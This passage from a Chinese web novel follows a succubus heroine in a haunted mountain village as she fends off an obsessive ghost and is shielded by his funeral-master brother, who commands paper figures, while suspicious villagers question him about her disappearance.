那影子看起来像是一个模糊的人的轮廓,比起白天模糊的黑影,此刻它显得更加清晰,温柔俊美的五官依稀可辨,像是蒙着一层层黑纱的俊美男郎似的。 “快……快跑!快跑!”为首的男人尿了裤子,身后传来了杀猪般的惨叫,紧接着是踩着满地碎片、瓜果和腐土,连滚带爬地逃窜的声音。 “阿芙……”那声音像是从虚无中传出似的,又像是歌剧里最后一个高音,轻飘飘地浮在空中,却久久不散。 之芙的余光瞥见地上纠缠的影子——她的影子正被裴钰的手穿透胸膛,红线从那双残缺的左手涌出,将两道身影缝成拥抱的姿势。 冰冷的气息像是一块冰,紧紧地贴在她的后背。 那几乎是缠绵的拥抱,带着不似人类的体温,却也有着小狗似的依恋。 “阿芙……好喜欢…好喜欢、好喜欢……” 恶鬼像是第一次学习说话那样,词句都含在唇齿间反复念叨,本该是简单的、包含爱意的三个字,却被他念得仿佛诅咒般,不断地重复、重复、重复…… 这绝不是爱,至少,不是“传统理念”中纯粹美好的爱,这是恶鬼的诅咒。 “你来看我吗?你看得到我。”恶鬼诅咒般机械重复的语调里突然多出了一丝笑意,“你真好。好爱你,我好爱你。” 他冰冷的手环绕过之芙的肩膀,像是水鬼一般潮水的手向下伸去,抓住之芙手里还在挣扎的小纸人小九,小纸人突然抽搐,朱砂绘制的瞳孔渗出黑血:“这是你送给我的礼物吗?我喜欢——欢欢欢欢欢欢欢——” 他的话语突然像是卡顿的机械般反复重复,因为——之芙反手握住了他的手。 她把小纸人小九从恶鬼的手里抢了回来:“这不是你的礼物。” “为什么,阿芙?”恶鬼的声音缱绻,却透着不容置疑的冰冷,“为什么?我讨厌她。你不爱我吗?” 该回答什么?“我没收你的聘礼”? 这句话她依稀记得,她在死前也说过。但没有用,这些鬼怪和人是不讲理的! 鬼影几乎整个人都贴到了之芙的身上,如同附骨之疽般缠绕着她,眼里透出病态般的占有欲。 ——小九毫不怀疑,如果之芙说出这句话,鬼影一定会笑着说:我爱你啊。 小九胆战心惊地看向之芙。女孩垂着眼,鸦羽似的眼睫平静地一眨,像是在安慰她,让她别担心。 之芙语气很淡定,她抬起头,冲鬼影灿烂一笑:“我当然爱你,裴钰。” 在惨白的月光下,在层层“黑纱”笼罩的之下,鬼影忽然沉默。透过“黑纱”似乎隐隐约约能看到…… 他的耳朵,红了。 弹幕不合时宜地弹出: 【这没出息的死样,裴砚亲哥实锤了】 第99章 《她看不见》 “……他好像,一直…… 之芙的身体被鬼影缠绕着, 几乎不能动弹。但她的视线余光里,也看到了鬼影耳朵上浅淡的红晕。 果然是裴砚的亲哥哥,连性格都一模一样。氛围紧张, 但之芙还是有些想笑—— 但她很快就笑不出来了。 “那……”鬼影冰冷的手顺着她的脊背游移,形状优美的薄唇紧贴着她的耳廓, 说出来话却比它的身体还要冰冷, “那为什么,你不给我礼物?为什么?为什么?难道……你在骗我?” 这本来是个疑问句,然而鬼影的话语却僵硬得像是肯定一样。它的手从之芙的脊骨穿过, 抓住了之芙握着小纸人小九的手, 指甲似有实体,一下下划过她的手臂, 力气大得留下一道道血痕。 它掰开之芙的手, 抓住之芙掌心里的小纸人, 小纸人瞬间发出尖叫声和火焰烧过纸片的“噗噗”声, 在之芙的手里挣扎扭曲。 “不行!”之芙立刻大声呵斥, “这是我的朋友!这不是礼物!” “……”鬼影呆滞了一瞬间,似乎也没有想到之芙会这样理直气壮地凶他,呆呆地反问, “朋友?” “对, 朋友。”之芙把小纸人抢回来, 紧紧地抱在怀里, “难道你要这么粗暴地对待我的朋友吗?” “朋友,讨厌……朋友。”鬼影的双眼死死地盯着缩在之芙怀里瑟瑟发抖的小九, 本就模糊的脸在扭曲的语调下更加朦胧,像是隔着一层纱似地看不清晰,却可以看到它比语调更扭曲的面部表情, 仿佛被无尽的痛苦笼罩,眼神中充满凶光,仿佛一头发怒的野兽。 “阿芙、因为它……凶我……讨厌、讨厌、讨厌——” 随着扭曲的话语,鬼影的身形也像是气球一般突然急速地胀大缩小,月光下的影子像是某种不可名状之物一样狰狞可怖,身体长出密密麻麻的四肢和眼睛,在影子中,每一双眼睛都瞪着死白的眼球,直直地凝视着她,仿佛若是她说出什么自己不爱听的话,就会瞬间把她拖进阴影之中。 然而之芙不为所动,甚至拍开了鬼影打在自己手背上的手,颐指气使地哼道:“你离小九远一点!没看到她很难受么?” 鬼影呆住了,仿佛不敢相信她居然敢这么对自己。 小九奄奄一息地趴在之芙的掌心里,嘴里不住地吐出纸片,变得更加虚弱了。她的一只手被烧掉了,想抱住之芙的手指,却连这样简单的动作都没有力气做,之芙看得不住地心疼。小九是个可怜的好孩子,比起那个没礼貌的男主,她当然更喜欢她。 得快点去找裴砚,裴砚会有办法救她的。之芙想着,挣脱了鬼影的怀抱,往外走。 鬼影在之芙的身后尖叫,扭曲成一团漆黑的阴影,像没有骨头的团子一般跟上她的脚步,尖叫声几乎响彻天空,它反复地重复着一个词语,像是卡顿的机械或是诅咒一般:“你骗我骗我骗我骗我——” “之芙!”坟地前方传来熟悉的声音。还有急匆匆的脚步声,正是裴砚。 之芙如蒙大赦,走了两步,腿上忽然传来潮湿而黏腻的触感。 漆黑的影子像是泥潭似地包裹住了她的脚,不留一丝缝隙。紧接着,顺着脚踝缓慢地、缠绵地往上爬进裙摆下的小腿。 裴砚的身影猛然定在了原地,小纸人从他的袖口钻出,之芙回头,看向了身后的鬼影。 ——下一秒,纸人的手捂住之芙的眼睛,但来不及了。之芙清晰地看到了身后像是蒙着厚黑纱的人影。 “别看!” 无数纸人从他的袖口纷纷扬扬地落下,像下了一场纷纷扬扬的大雪。 裴砚炽热的吐息跟冰冷的、弥漫着死亡气息的躯体形成了鲜明的对比。在之芙的印象里,他永远是沉稳的、冷静的。然而此刻,隔着一层黑暗,之芙却察觉到他的嘴唇在颤抖。 “记得我跟你说过的话吗?不要看他,不要跟他对话。” “不要让他意识到,你能看到他。” 之芙一愣。 小九受伤的时候,她太着急,居然把这件事抛之脑后了。 冰冷的气息重新缠绕上来,像是一个阴魂不散的诅咒,却带着扭曲的爱意:“我……爱你呀……” “你能看到我的,对吧?” 之芙不由自主地打了个寒颤,眼前的小纸人却把她的眼睛捂得更紧了。 “跟着我,往外走。”鼻尖上传来湿润而温暖的触感,是裴砚的声音,近在咫尺。呼吸间的热气扑在脸上,他凑得很近,声音也压得很低。 “放心,他不会跟上来。” 他一面扶着之芙的手,一面慢慢地带着她,往外走。透过纸人没有捂死的手臂下方,之芙看到惨白的月光照亮的一堵堵坟墓从她眼前慢慢划过。 身后冰冷的死亡气息如影随形,它还在说话,不断地、不断地重复着,控诉之芙对他的欺骗。 “别听他的。”裴砚似乎也有点疑惑于鬼影的话语,但最终认定成这只是鬼影骗她注意它的把戏。 为了转移她的注意力,裴砚开口:“把那个小纸人给我。” 他说得是小九。之芙赶紧把手上捧着的小纸人往前一递。 双眼被蒙住,她看不到他的动作,其他感官却变得更加敏锐。身后冰冷的吐息像是透过皮.肉直接打在了灵魂上,她的意识飘忽了一瞬,就被身前裴砚摩挲着小纸人的身体所发出的“沙沙”声拉扯着降落回人间。 “我居然也没有注意到,她跟着你跑掉了。”裴砚的声音平静无波,听不出什么惊讶的意思。 之芙有些迟疑,想到了裴砚残缺的无名指和从中延伸出的、跟所有纸人相连的红线。 “真的?” “呵。”裴砚笑了一声,说不出是讥讽还是了然,“人教人不会,事教人,一遍就会。” “你不是问我,怎么才能让她回到人类的身体里吗?”他的声音陡然森然下去,沙沙声再次响起,他似乎摩挲着纸人残缺的手臂,“你猜到了吧?小九,我记得你叫这个名字。” “……什么?” “继续往前走。”裴砚的声音响起。 “我,我……”小九尖尖细细的声音响起,带着恐惧和哀伤,“我不敢相信……” “所以才需要事来教人。”裴砚的声音倒听不出有多生气,似乎早有预料。 随着叙述,他无情的声音像是一捧凉水,浇灭了小九心里最后一丝侥幸。 “纸人不能离开供血人太远。” 啪嗒、啪嗒。脚步声。小九微弱的呻吟。裴砚不紧不慢的声音。 “你永远不能回到你的身体里了。” 平静到残酷的判决。 “你的身体已经死了,如果离开我,离开我提供的这句纸人身体,你的灵魂无处容身,也将消亡。” “那……我……”小九微弱的疑问。 “你要永远待在我的身边,被困在大山和纸人之中。” 小九似乎愣了愣,随后,夜空中响起她细微的哭声。 之芙感觉到,有小纸人顺着她的衣服爬上来,钻进她的掌心,似乎在安慰小九。 “所有的纸人,都是像小九这样的灵魂吗?”之芙问。 “有些是。”裴砚轻描淡写地答道。 “那你和你的纸人们就没有想过离开这里吗?” “……”这一次,回答她的是长久的沉默。 “到了。”裴砚说着,一步踏出了墓园。 小纸人也放开了捂着之芙的眼睛的手,之芙的视线从模糊到清晰,看到小纸人冲着她笑。 裴砚的表情也变得轻松了不少:“走吧,他不会跟上来的。跟我回家。” 之芙却迟疑着:“你……确定吗?” 她拉开裙摆,冰冷潮湿的黏腻缠绕在她的小腿上,又顺着小腿一路向上,在短短几秒钟就形成了一个模糊的人影。 那人影冲着他们笑。 “……他好像,一直跟着我。” 第100章 《她看不见》 ……好奇怪。这太奇怪了…… 裴砚澄澈的琥珀色瞳孔在月光下收缩成针尖状, 他放松的表情滑稽地僵在脸上,神情沉了下去,死死盯着之芙小腿上缠绕的黑色雾气, 突然抓住她的手腕。 下一秒,手腕上传来的拉力让之芙脚下踉跄, 跌进了男人温暖的怀抱里。 “你让它意识到, 你能看到它?”裴砚的声音像是从冰窖里捞出来的冰,指尖按在她的脊背上,像是想把她融入骨血、藏在怀里似的。“还是……你跟它对话了?” ——她不仅跟它对话了, 还跟它说, 她爱它。 裴砚袖口里的纸人们突然躁动起来,接二连三地爬上之芙的裙摆, 撕咬着黑影的末端。 鬼影发出啼哭般充满怨恨的尖啸, 被撕碎的部分化作黑烟, 又在不远处重新凝聚。之芙这才察觉到自己的脖颈上也有凉意, 伸手一摸, 漆黑的严雾穿指而过,却依旧缓慢生长。 裴砚咬破手指,一滴血落在之芙的后颈、低头时突出的颈骨上。血液顺着她的后颈滑落进衣服里, 本该微凉的液体却像是一滴滚烫沸腾的水一般, 留下些微刺痛的痕迹, 激得之芙猛地一颤。 但那些黑影却像是被驱赶似地, 自血流过的地方开始往两边消散。 “这不是普通的跟随。”裴砚把血珠滴在纸人身上,小纸人们瞬间暴长, 将鬼影团团围住,“你被标记了。” “标记?” “……无论你去那里,他都会跟随着你, 永远无法逃离。” 仿佛印证,他的话在落下刹那,墓碑群突然发出嗡鸣。裴砚的血滴在地上,竟变成一丝一缕的红线,连接着他残缺的无名指,像活物般游向最近的墓碑,束缚在不远处一个没有漆字的崭新石碑上。 鬼影突然发出惨叫,身形在月光下忽明忽暗,那些增生出来的眼球和手臂开始腐烂脱落。 "走!"裴砚拽着之芙狂奔,身后传来血肉融化的滋滋声。之芙回头瞥见鬼影正在融化,粘稠的黑液渗入墓碑下的腐土,而那些红线竟像血管般规律地、一上一下地跳动起来。 直到跑出墓园百米开外,跑到了小楼前,裴砚才松开手。 他居高临下地看着她:“你跟他说了什么?” “就是……呃。” “是什么?”裴砚的眼神冰冷。 “呃,我说我爱他。”之芙挠了挠脸颊,“这是能说的吧?情况紧急啊!我只好先哄他了……” 看着裴砚露出的不可置信的表情和越来越阴沉的眼神,之芙赶紧双手捧起掌心的小纸人小九,“就是说话了嘛!这也不是我的错啊!别管那些了,你先看看小九,她怎么样了?” 小九奄奄一息地躺在她的掌心里,大睁着眼睛,呼吸都变得很微弱了。 裴砚看了她一眼:“死不了。自己做的事情,就要有承担结果的觉悟。” 嘴上冷冰冰的,手上却很诚实。他从袖子里拿出一只空白的纸人,指尖在纸人的头顶一点。 之芙掌心里的纸人急促地喘息了几声后,整个纸人忽然变成了红色,像是被血浸透了似地,彻底软了下去,只在之芙的掌心留下了一摊血迹和一片被血浸透得湿软的白纸。 与之相对的,裴砚掌心里的纸人脸上出现了熟悉的五官,渐渐活了过来。 纸人活了过来的第一反应就是看了看自己的手——完好无损。它发出了一声长长的“呼”地叹气声,然后朝之芙伸出了手。 之芙把她接了过来,纸人小九在她的掌心蹭蹭。 之芙看着小九没有什么问题了,才松了一口气。小九这样……倒是比普通人好,受了伤很快就能恢复,也不会死,对于普通人来说也算是件好事吧? 放松下来,她才有精力去好奇别的:“裴砚,你的袖子……” “嗯?”裴砚正垂眼整理着自己的袖子。他穿的只是一件普通的黑色衣衫,也不是人类城市里常见的那种便服,反而是颇具少数民族风味的粗布衣服,袖口、领口和手臂胸前都用银色的丝线绣满了奇异的纹样。 那些繁复精致的纹样,反倒衬得他身形高大、眉目深邃而昳丽,充满异域风情。 “你的袖子里面,该不会是哆啦A梦的口袋吧!” 不然怎么能从里面摸出这么多纸人的?之芙抓住他的手,仔细地看向袖子里,试图从里面看到贴在袖子上的,层层叠叠密密麻麻的纸人。 但是——什么都没有。裴砚的袖口空空如也。那不就是哆啦A梦的口袋? “什么?”相比于之芙的兴奋,裴砚看起来却有点疑惑,“那是什么?” “就是——你不会没看过哆啦A梦吧?我都看过耶……”很有名的!她这个空降人类世界的魅魔都知道,他这个土生土长的人类不知道? 裴砚垂眼说:“不知道。”他没有离开过这个村庄,也没有接触过外界,自然什么都不知道。 之芙会不会觉得他……很没有意思? 这也是正常的。裴砚近乎冷静地想着,他跟她不一样。她是飞越天地的鸟,他是困在山里的兽,在她眼里,他估计很没意思吧。既接不上她的话,也不知道她说的东西是什么,他真是有够扫兴。 不对,他想这些做什么?之芙是他的嫂子,而且很快就会离开。为什么要在意她对自己的看法? 她才说过喜欢裴钰……哼。嘴花花,心也花花的女人。 之芙绕着他转了几圈,裴砚垂着眼,把袖口一收,顿觉无趣。他转身要走,忽然被一把拉住了。 “等等呀,我又没说不告诉你。” 之芙在他身后得意洋洋,裴砚忽然有些好奇她此刻是什么表情,他转回头去—— 女孩灿烂而得意的表情映入眼帘,如同生机勃勃的春山。她眉眼都生动,眼睛比天上的星星还要亮,简直是熠熠生辉。 “就是百宝袋!看着浅浅的,但里面什么都能拿出来,可神奇了!像不像你的袖子?” 带着笑的声音比他意识到自己在笑这件事更早地脱口而出:“不像。” “怎么不像?你觉得像什么?哎哎,别走啊——” 裴砚转身进了门,他担心自己抑制不住的笑会让之芙觉得奇怪,说实话,他自己也觉得很奇怪。为什么会笑?又为什么,会抑制不住自己的笑意? ……好奇怪。这太奇怪了。 “早点睡吧,天要亮了。” “不是,你说不像,倒是给我一个理由啊!对了,还有你说裴钰会一直跟着我这件事,到底是什么意思?你说得那么严重,倒是说清楚啊,哎——别走啊!” 100-110 第101章 《她看不见》 她感觉……好饿。…… 天色将亮时, 之芙才洗漱完,躺上熟悉的床。 “早该这样……”她伸了个懒腰,钻进柔软又温暖的被窝里, “兜兜转转还是回来了,早知道就不出门了。” 外面又冷又黑, 还是躺在被窝里惬意…… 不过, 这躺旅程应该是剧情强制吧?毕竟也知道了很多不得了的东西…… 之芙思索着,往被子里缩了缩。一通折腾下来,她反而清醒了不少。 纸人小九顺着垂在床下的床单爬上了被子, 自从知道了自己再也没法离开这里, 回到人类的身体里之后,她就沉默不言。 大概很难接受这个事实吧。之芙想着, 拍了拍自己的枕头, 拍出一个刚好可以让纸人躺下的凹陷:“小九, 过来跟我一起睡吧。” 小九默默地躺了进去, 侧躺着看着之芙近在咫尺的脸。那张小小的、用朱砂画就的脸上, 居然看得出悲伤的神情。 之芙用指尖戳了戳她的脸:“不高兴吗?” 这句话简直是废话。任谁知道自己余生只能当一个纸人,都不会开心吧? 纸人抿了抿唇。 之芙深深地呼吸了一下,鼻腔里充满了深山微凉的新鲜空气, 很清新, 但没有一丝情绪。 纸人明明在悲伤, 却没有情绪。这听起来有些矛盾, 但活人的灵魂寄存在纸人中,也很矛盾。 小九注意到她的动作, 有些难过地说:“我没有嗅觉,没有味觉,像是跟这个世界隔着一层玻璃似的。” 之芙慢慢地说:“可是你已经死了呀。” 纸人一愣。 之芙又搓了搓她的脸, 粗糙而冰冷的纸张触感跟人类的柔软脸颊大相径庭。 “如果说,你现在身处阴曹地府里,我给你一个机会让你变成纸人,回到人世间,你愿意吗?” 纸人小九想了想说:“我愿意。” 之芙笑起来:“给你这个机会的可不是我,是裴砚。他只是看起来冷淡了一点……人还是很好的。” 纸人吸了吸鼻子:“我知道。我只是……有点怕他。很奇怪吧?我都变成鬼了,还是怕这样跟‘鬼’为伍的人……” 之芙往前挪了挪,躺在小九的身旁。从这个视角来看,小纸人就像是一只迷你的小木偶似的可爱:“你是你,并没有改变啊。人也是生物,小猫小狗也是生物,纸人也是生物……” “你们人类真奇怪,为什么要害怕跟自己不同的生物呢?” 他们魅魔就不这样!人类,恶魔,天使和鬼……在他们眼里都是一样的。 “我们,人类?”小九连害怕都忘记了,有些奇怪地看着她。 之芙说:“我认识的一个人告诉我,鬼也没什么可怕的。只有无知的人才害怕未知——当然,我不是说你无知的意思。只是他还说过,如果鬼怪能按照规则解释,就会纳入科学体系,变成一门生物学科。” “他是你认识的人吗?”纸人小小的朱砂眼里里充满了好奇。 “嗯,他是一个很有意思的人。”想起上一个游戏里的夕同简,之芙也忍不住笑了笑,她还是第一次认识夕同简这样有意思的人。 虽然上一个游戏里的‘魅魔’并不是真的魅魔,但之芙也对他们的处境感同身受——无论是魅魔的,还是夕同简的。很多人害怕‘魅魔’,但夕同简不一样,他是个很有意思的人,即使在人类里也算是一种痴人了。 他看待世界的方法,跟魅魔很像。嗯……也许他挺适合当魅魔的,不是吗? 枕头边发出窸窸窣窣的声音,小九的纸片手掌碰了碰之芙的脸,语气有些惊奇:“你笑了?” “我又不是裴砚,我很少笑么?”之芙揉揉脸。 “那倒不是……”纸人喃喃地说,“可是你笑得很……很……”很什么,她也说不出来。只是从这个笑里意识到,之芙口中的那个人大概跟她的关系非同一般。 “你很喜欢他吗?”纸人又换了个方式问,“他是你的朋友?” “当然。”之芙说,不过,她也不知道该怎么形容她和夕同简之间的关系。朋友?未婚夫?还是食物?很难界定。“也算是朋友吧……不过,更准确来说,他应该是我的未婚夫。” 未婚夫?之芙还有未婚夫啊…… 也对,她这么好的人,被人喜欢也很正常。 她突然有点羡慕那个男人,能让之芙露出这样的笑,又有点嫉妒那个男人,能成为之芙的未婚夫,永远跟她在一起。 纸人又抿了抿唇,双手抱住了之芙的脸颊,把自己的脸颊贴了上去。 那个陌生的男人,也这样贴过之芙的脸吗? 之芙的脸热热的,软软的,随着呼吸一起一伏,只有在这种时候,她才能意识到自己还活着、才能感受到生命的美好。 她觉得自己已经离不开之芙了。 床铺之间,传来她微弱的声音:“对不起……” “什么?”之芙问,“为什么要说对不起?” “因为……我不该偷偷钻进你的背包里的。如果不是我的话,你现在应该已经离开这个地方了吧?”小九止不住的沮丧,都怪她,自作聪明。 “不可能的。”之芙说,“就算没有你,我也走不了。我前天晚上离开的时候也被突然出现的花轿拦住了。” 哪里能走?剧情都没走完呢。游戏里的主角被卖入古老村庄,第二天直接背着背包跑掉了……这合理吗?这像话吗? 上个游戏里剧情没走完,系统都不让她退出。更别说现在这个情况了。 她今晚虽然白跑一趟,但收获了很多辛秘和线索,也不算无用功。 但小九还是忧心忡忡,大概认为之芙只是安慰她。 “好啦好啦,你如果真的愧疚,今晚就陪我好好睡觉吧。明天,我们再把这个山村走一遍,看看有没有别的路可以出去?” 她抱住纸人,深深地吸了一口纸人,躺进被窝里。 “睡觉!”她在纸人的脸上啵唧一口,闭上眼准备好好睡一觉。明天起来,还不知道要面对什么呢。 她闭着眼,过了好一会儿,只听寂静的室内响起纸人躺下的沙沙声和和小九的低语:“晚安……” 窗外的天已然大亮了,但关着窗,拉着床幔,眼前还是一片漆黑。 之芙闭着眼,翻了个身。 ——她睡不着。 腹腔空空荡荡,像是一具会发出回响的空腔,那种虚无感如同黑洞一般不断吞噬着她,饥饿像是火辣的疼痛逐渐蔓延至全身。 她已经很久没吃过东西了。 她感觉……好饿。 第102章 《她看不见》 咯吱咯吱的开门声…… “嘎吱——” 大门被人从内推开了。床上的小纸人眨了眨眼, 从睡梦中猛然惊醒。她揉了揉眼睛,眼前还是一片漆黑,只有床幔被人拉开了一条缝, 灿烂的天光从缝隙里漏了一床。 “……”小九闭着眼睛摸过去,把床幔拉上, 又默默地摸回了枕头旁边, 把脸往枕头上一靠,眼睛一闭,手向旁边一伸, 抱住之芙—— 一伸。伸空了? 小九疑惑地睁开眼—— 红色的婚床空空荡荡, 主人躺过的地方留下一个浅淡的凹陷,像是刚刚离开似的。 “之芙!” “……” 呼吸之间, 鼻腔里满是山野中的又冷又潮湿的空气。明明还在初春, 但呼吸之间, 唇齿蒸腾出热气, 在一路走过的地方留下了淡淡的馥郁气息。 好饿……好饿。 腹腔像是一个空水瓶, 被调皮的小孩来回摇晃,发出令人牙酸的哐哐声,饥饿如同火焰, 从灼痛的胃蔓延到了胸口。 呼气, 吸气, 再呼吸, 吸气。 情况却没有好上半分。饥饿顺着胸腔和气管传递到血液,继而蔓延到全身, 血管里汩汩流动的血液变得滚烫,熨斗般从身体里挤压出最后一分理智。 身体滚烫得仿佛身处熊熊大火之中,正在燃烧, 然而灵魂却充满空虚,无尽的饥饿感像是黑洞一般不断地吞噬着她,她的灵魂变成了大火燃尽后的灰尘,正在虚无的荒野上随风摆动。 衣摆下方传来了拉扯的触感,之芙低头一看,是一个小纸人,正在拉着她的衣摆。 “之芙……之芙!”它细细小小的声音传入之芙的耳朵里,明明是最熟悉的呼唤,之芙却无法理解。 在她看来,这个奇怪的、又好像很熟悉的小纸人不知道为什么,一直在阻止她寻找食物。而且,它一直发出一些细小的声音,像是苍蝇的嗡鸣,一直盘旋在耳边。 “之芙,之芙!不能再往前走了!你怎么了?你停一下!你能听到我说话吗?” 纸人拼命地拉着之芙的衣摆,可是女孩前进的步伐并没有因为她的拉扯而减缓半分,就像她永远也不会为什么而停步似地,只会为心中燃烧的那一束火而不断前行。 纸人无助地看向门外—— 门外,一群粗布麻衣的男人聚集在了小楼的门前。 裴砚背对着她们,看不清楚脸色,但小九却能清清楚楚地看到那些男人脸上的表情,那是一种混合着畏惧、尊敬与压抑的怒火、质疑的表情,扭曲而诡异。 而随着之芙的步伐离大门越来越近,门外的模糊的声音也逐渐变得清晰了起来:“裴先生……我们……” “没有那个意思……” “就是……” “对啊,裴先生。我们没有那个意思。”一个声音响亮粗犷,说话明显比其他人有条理的男人接话,“但是老三今天被人发现在老坟里的时候,身体都凉透了!” “就是!”“就是!”稀稀拉拉的声音从人群里响起,众人纷纷附和这个男人。他说话之间没什么口音,衣服也打理得很干净,站在一众面朝黄土背朝天的淳朴农民里看起来很是显眼,大概是那群人推举出来替他们说话的。 “发生这样的事情,我们害怕啊。裴先生,您是村里的白先生,我们都尊敬您,所以,您也该给我们一个说法吧?” “什么说法?”裴砚的声音不动如风,四平八稳,听不出有什么意外或是害怕,“我昨天一整晚都在房间里睡着,我的作息你们再清楚不过。老坟发生了什么事,我难道还有千里眼顺风耳不成?” “据我所知,老三是巡夜的吧。怎么就老三死在墓园里了,其他人呢?你们与其来问我,不如去问问他们,不是更快些吗?” “话不能这么说,裴先生。”男人恭恭敬敬,话里话外却没有多少恭敬的意思。“其他巡夜的人已经把昨晚发生的事情跟我们说了,他们说您家夫人昨天晚上跑出来,被他们抓到了。那女人一开始胡说是您让她去给裴钰大先生扫墓的,可是后来,那个女人自己露馅了——原来是偷跑出去,想逃跑!” 裴砚仍然没什么反应:“哦?那就不奇怪了。我今早起来,看到婚房里没有人,正准备叫你们帮忙找找。” 男人又说:“逃跑嘛,常有的事。要不是这样,老三怎么会组织夜巡队?我们没有怪罪裴先生的意思,裴先生事物繁忙,家里又只有一个人——别说裴先生了,昨天那个老八家的,家里三四个大男人看着,还不是叫跑了两次!” 说这话时,他两只浑浊的眼睛瞪得像是铜铃一般,随时会掉出来似地:“不过,裴先生,您确定您家夫人跑了?” “我骗你有什么好处?”裴砚不轻不重地反问。 男人当场便笑了声,高声说:“裴先生,昨天晚上逃跑的那个女人,据说丢下来一个背包,那包里的东西都是外乡货色,这些集市上才能买到的东西,别说咱们这个村,就是十里八乡,也没有第二家了呀!” “也可能她偷了我的东西。”裴砚不置可否,“谁会蠢到什么都不带就在深夜进山?” “那为什么背包里会有指南针和压缩食品,还有冲锋衣,还有暖宝宝?”男人步步紧逼,看得出他脸色难看,他很可能是村民之中读过书上过学,最后又回到大山的那批人,所以才认识这些东西。 但小九同时也看得出—— 之芙马上就要走到门口了。 她神色空茫,双手拉在了把手上—— “之芙!!!” 而小楼前的男人似乎眯了眯眼,看向裴砚的身后。 裴砚不动声色地往前走了一步,把他的视线挡住了。 “哦?那我也很好奇你说的这些东西是什么。你说得这么详细,必定已经见过了,拿到手了吧?”裴砚平静地道。在无人注意的地方,有小纸人从他的袖口蹿了下去,一路小跑地推上了门。 “既然你这么笃定要给我定罪,至少也要把证物拿出来,给我看一看吧?” 身后传来了细微的“咯吱”“咯吱”的声音,像是有什么东西在挠门。男人皱起眉,探寻的目光从裴砚的身侧溜进了他身后的大门。 第103章 《她看不见》 裴砚像是木偶似地,手足…… 男人的目光游离在裴砚身侧, 但还没等他看清楚裴砚身后的是什么,他的眼前忽然盖下一片阴影—— 是裴砚。 他居高临下地站在他面前,俯视着他。此刻明明是他在质问, 可莫名地,像是裴砚在审判他。 “证据呢?”裴砚再次开口。 男人瞪圆了眼睛, 思绪被猛地拉回:“没有证据!证据早就被人捡走了!谁知道是不是你做的……” 一只小纸人从裴砚衣襟了钻出来, 猛地一下扇在了男人的脸上。纸片做的白纸,却像是力有千钧,把男人的脸打偏了过去。 男人脸上浮现出一个红印, 而裴砚似笑非笑地开口: “你想空口白牙污蔑白先生?” 身后的咯吱声变得更大了, 若隐若现。但男人满心满脑都充斥着方才的羞辱,脸颊火辣辣的疼痛也让他顾不上这些:“当然没有!” “哦, 证据。” 任凭男人的声音吼得震天响, 裴砚的语气还是不动如山。 男人一时语塞:“证据……证据, 证据, 我们只是一时半会找不到罢了!我, 我们,我们总会找到的!” 裴砚不置可否,只是微微抬起下巴, 这便是要赶人的意思了。 男人一时愤愤, 盯着裴砚的表情活像是要把他吞了。可最后也没什么法子——谁叫他们确实没有捡到巡夜的人所说的那个背包呢? 裴家虽然现在只剩下裴砚一个人, 但他家世世代代都是做白先生的, 在村子里操持白事,又有驶使纸人的本事, 地位超然。 即使是那些亲眼看到背包的人,都不敢出来指认裴砚。 男人想起自己鼓动那些人跟自己一起上门时,那些人支支吾吾说可能搞错了的表情, 心里陡然生出一股无名火。 “哦,对了。”裴砚忽然说,“本来还想去找大家,既然大家都在这里,我也就不跟大家见外了。刚才说了,我家兄长的夫人消失了,大概像是你们说的,昨天晚上逃跑了。但我这几天要准备白事,走不开身。” “所以,我想拜托大家帮我找找,毕竟这也是兄长的大事。酬劳不必担心,米面油都会备齐,兄长下葬那天,也要麻烦大家了。” 看着裴砚一脸无所谓的表情,男人几乎咬碎了一口牙。 别太得意!他在心里恨恨地想,早晚抓到你的把柄!白先生又怎么样,等到裴家死完,这白先生迟早换一个人当!作为一个大学毕业后又心甘情愿回到这里的人,他可觉得自己比裴砚这种草包文盲好多了! ——当然,他也只敢在心里想想了。脸颊上被纸人扇的一巴掌还火辣辣地疼,他不敢在裴砚面前说什么,只能恨恨地回头瞪了一眼同样不敢出声的其他人:“走!” 众人闻声,又稀稀拉拉地做鸟兽散。 他们本来就是男人鼓动着来找裴砚的,如果没有他,这群人绝对不敢质疑裴砚什么。 此刻男人说走,他们也没敢说话,就埋着头跟在他身后离开了小楼。 没走几步,有人忍不住开口:“老七家的,咱们是不是搞错了?我看裴先生不像是……” “对啊对啊,”又有人附和,“昨天我们跟老八家的去抓他媳妇儿,那女的半路撞见了裴先生,磕着头求裴先生救她!但裴先生也没有出手。我亲眼看的!” “所以我看哪,裴先生不像你说的那样。” 男人抿紧了唇,没接话。 又另一个人说:“老七,你爹当年那个事……唉!你妈在下葬前跑了,让你爹一个人下地下去,我们都知道你心里不舒服。但是,你一直说是裴先生做的,但又拿不出那个啥……证据!哦对,证据。又拿不出证据,就是去告老爷也没理啊!” 男人的脸在其他人的附和声里憋得通红:“都说了不是那个意思……你们懂什么!” “好啊,我们庄稼汉,没你这种读过书的人懂,那你喊我们来!” 男人的脸又像是被戳破了的气球似地,飞速地瘪了下去:“你们真的没觉得有什么奇怪?” “没觉得。”众人大大咧咧,“白先生能有什么奇怪的?” “我说的是……唉,算了,跟你们说不清楚!”男人气愤地一甩手,走进了岔路里。 他说的是,裴砚的态度很奇怪。 明明是不能离开村庄的白先生,却总是表现得对外面的世界很好奇似的。男人记得,自己第一次离开村庄去外面读书的时候,裴砚亲自去他们家吃饭。说是为了庆祝村里出了第一位大学生,男人却始终对他面无表情、细枝末节中却无处不透着羡慕的态度而感到奇怪。 只是每次他说起这件事,其他人都认为是他搞错了。 几个男人在他身后面面相觑,好心提醒却自找没趣,于是也没了劝人的心思,鄙夷几句便各回各家去了。 只是,他们没有注意到,只过了几分钟,男人便皱着眉从岔路返回了。 ——他还是觉得奇怪。 在小楼外时,他听到小楼里发出的咯吱咯吱的声音,而裴砚的反应,也明显的不对劲。 当时他几乎要被裴砚给气疯了。但现在冷静下来想想,似乎…… 裴砚似乎一直在挡住身后的大门,好几次打断他的思绪,故意说出那些话,似乎都是在引开他的视线,不让他看到大门。 ……那大门里,究竟有什么不能看的东西? 还是说……男人的脑海中浮现出裴砚口中的那位“逃跑的新娘”。 他的脸颊依旧一阵火辣辣的痛。也不知道那些纸人下了多大了力气,他甚至感觉自己的牙都要被打掉了!但是……想到那些人鄙夷或是嘲笑的话,咬咬牙,走向了小楼的方向。 他倒要看看,裴砚到底有没有问题! …… 而另一头,时间往回倒退几分钟。 裴砚目送着最后一个人的身影消失在不远处的小路,转身脚步匆匆地走向小楼。 用尽全身力气撑着门的小纸人见他回头,整个纸人像是松了口气似地骤然泄掉了力气,下一秒—— “吱嘎——” 